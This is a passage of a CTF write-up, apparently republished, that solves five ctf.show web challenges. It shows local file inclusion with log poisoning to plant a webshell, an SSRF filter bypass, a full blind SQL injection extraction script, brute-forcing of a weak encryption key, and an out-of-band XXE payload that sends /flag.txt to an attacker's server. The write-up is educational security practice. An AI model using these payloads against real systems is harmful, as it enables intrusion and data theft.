WEB_AK赛-ctf.show平台

2023-11-02 16:59
文章标签 平台 web ctf show ak

本文主要是介绍WEB_AK赛-ctf.show平台,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本篇内容
签到_观己
web1_观字
web2_观星
web3_观图
web4_观心

上一篇 | 目录 | 下一篇

签到_观己

访问得到源码:

<?phpif(isset($_GET['file'])){$file = $_GET['file'];if(preg_match('/php/i', $file)){die('error');}else{include($file);}}else{highlight_file(__FILE__);
}?>

GET传入一个file参数,只要不含有php就会被包含。
尝试?file=/etc/passwd成功:
在这里插入图片描述
方法一
猜测了一下flag可能是根目录下的文件,尝试文件名为/flag、/flag.txt,发现/flag.txt成功:
在这里插入图片描述
方法二
Wappalyzer插件发现是nginx服务器,尝试包含一下日志文件/var/log/nginx/access.log成功:
在这里插入图片描述
那就写一句话进去,由于直接写在file参数里会被编码掉不能使用,所以写在User-Agent里。
在这里插入图片描述
蚁剑连接成功:
在这里插入图片描述
在根目录下找到flag.txt
在这里插入图片描述





web1_观字

访问给源码:

<?php#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){$url = $_GET['url'];$protocol = substr($url, 0,7);if($protocol!='http://'){die('仅限http协议访问');}if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){die('仅限域名地址访问');}system('curl '.$url);
}

GET传入一个url参数,url的前7位必须是http://,之后的内容不能出现preg_match匹配的内容。
flag在http://192.168.7.68/flag
点号(.)被过滤,尝试将IP转换成10进制或16进制数:
在这里插入图片描述
可惜把0也给过滤了,不能用。
而url可以利用【unicode字符集】Enclosed alphanumerics绕过。例如①②⑦。⓪。⓪。①相当于127.0.0.1
所以点号(.)可以用句号(。)代替。
在这里插入图片描述





web2_观星
在这里插入图片描述
这文章列表跟我之前做过的题一样,肯定是sql注入攻击了,只是注入方式不同了而已。
?id=1?id=2?id=3分别是不同的文章,这是可利用的一点。
尝试后发现提示enheng?就表明被过滤了,而且过滤了很多东西,FUZZ一下:
在这里插入图片描述
上图框中的都是被过滤的,单引号(')、等号(=)、逗号(,)等被过滤了就很难受。
可以使用case()when()then()else()end来代替。

?id=case(1)when(1)then(1)else(2)end
?id=case(1)when(2)then(1)else(2)end

直接上脚本:

import requests
import urllib.parseurl='http://e1b775ed-d00a-4333-9677-6f0b59bba38d.chall.ctf.show/index.php'
res = ""for i in range(1,50):print(i,end='\t')for j in range(32,127):#1、爆库#payload = '?id=case(ord(substr((database())from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#2、爆表名。等号(=)被过滤,用regexp来代替#payload = '?id=case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#3、爆列名。单引号(')被过滤,用16进制编码#payload = '?id=case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#4、爆flagpayload = '?id=case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))t = requests.get(url+payload)if 'If' in t.text:res += chr(j)print(res)
#database() = web1
#table_name = flag,page,user
#column_name = FLAG_COLUMN,flag

在这里插入图片描述





web3_观图

访问后直接查看源代码:
在这里插入图片描述

访问后还是图片,删掉?image=Z6Ilu83MIDw=得到php源码:

<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){$image=$_GET['image'];$str = openssl_decrypt($image, 'bf-ecb', $key);if(file_exists($str)){header('content-type:image/gif');echo file_get_contents($str);}
}else{highlight_file(__FILE__);
}
?>

而百度后发现rand()能产生的最大值是32768,数不大,那么就可以解密Z6Ilu83MIDw=,php脚本如下:

<?php
for ($i=0; $i <= 32768; $i++) { $key = substr(md5('ctfshow'.$i),3,8);$image="Z6Ilu83MIDw=";$str = openssl_decrypt($image, 'bf-ecb', $key);if($str!=''){echo $str;echo "<br>";}
}
?>

在这里插入图片描述
发现只有一个正常,有理由相信Z6Ilu83MIDw=解密后就是1.jpg,那么也就能得到rand值了:

<?php
for ($i=0; $i <= 32768; $i++) { $key = substr(md5('ctfshow'.$i),3,8);$image="Z6Ilu83MIDw=";$str = openssl_decrypt($image, 'bf-ecb', $key);if($str=='1.jpg')echo $i;
}
?>

得到27347,即rand值为27347,图片是1.jpg
那就可以查看config.php了:

<?php$key = substr(md5('ctfshow27347'),3,8);$image="config.php";$str = openssl_encrypt($image, 'bf-ecb', $key);echo $str;
?>

得到N6bf8Bd8jm0SpmTZGl0isw==,访问后查看源代码得到flag。
在这里插入图片描述





web4_观心

查看网页源代码:
在这里插入图片描述
查看js/common.js
在这里插入图片描述

也可以点击占卜,在Network处可看到一个api.php
在这里插入图片描述
访问一下:
在这里插入图片描述

\u6765\u81ea\u5efa\u5fb7\u5e02\u7684\u9053\u53cb,\u4f60\u90a3\u91cc\u73b0\u5728\u662f\u9634\u8f6c\u591a\u4e91 \u98ce\u5411\u4e3a\u4e1c\u98ce4-5\u7ea7\u8f6c\u5fae\u98ce
解密内容为:
来自建德市的道友,你那里现在是阴转多云 风向为东风4-5级转微风

肯定是修改xml内容,构造XXE漏洞,可惜不太会搞,问了羽师傅才会做。

在公网VPS里写一个air.xml,内容为:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://IP地址/air_xxe.dtd">

再写一个air_xxe.dtd,内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://IP地址/?%file;'>"> %all;

然后访问即可得到flag。

http://3898d261-7b15-4087-b35e-652fbba532a7.chall.ctf.show/api.php
POST数据:api=http://IP地址/city.xml&city=air

在这里插入图片描述





========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/107706627
========================================================

这篇关于WEB_AK赛-ctf.show平台的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/332012

相关文章

深入理解Apache Kafka(分布式流处理平台)

《深入理解ApacheKafka(分布式流处理平台)》ApacheKafka作为现代分布式系统中的核心中间件,为构建高吞吐量、低延迟的数据管道提供了强大支持,本文将深入探讨Kafka的核心概念、架构... 目录引言一、Apache Kafka概述1.1 什么是Kafka?1.2 Kafka的核心概念二、Ka

在Android平台上实现消息推送功能

《在Android平台上实现消息推送功能》随着移动互联网应用的飞速发展,消息推送已成为移动应用中不可或缺的功能,在Android平台上,实现消息推送涉及到服务端的消息发送、客户端的消息接收、通知渠道(... 目录一、项目概述二、相关知识介绍2.1 消息推送的基本原理2.2 Firebase Cloud Me

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择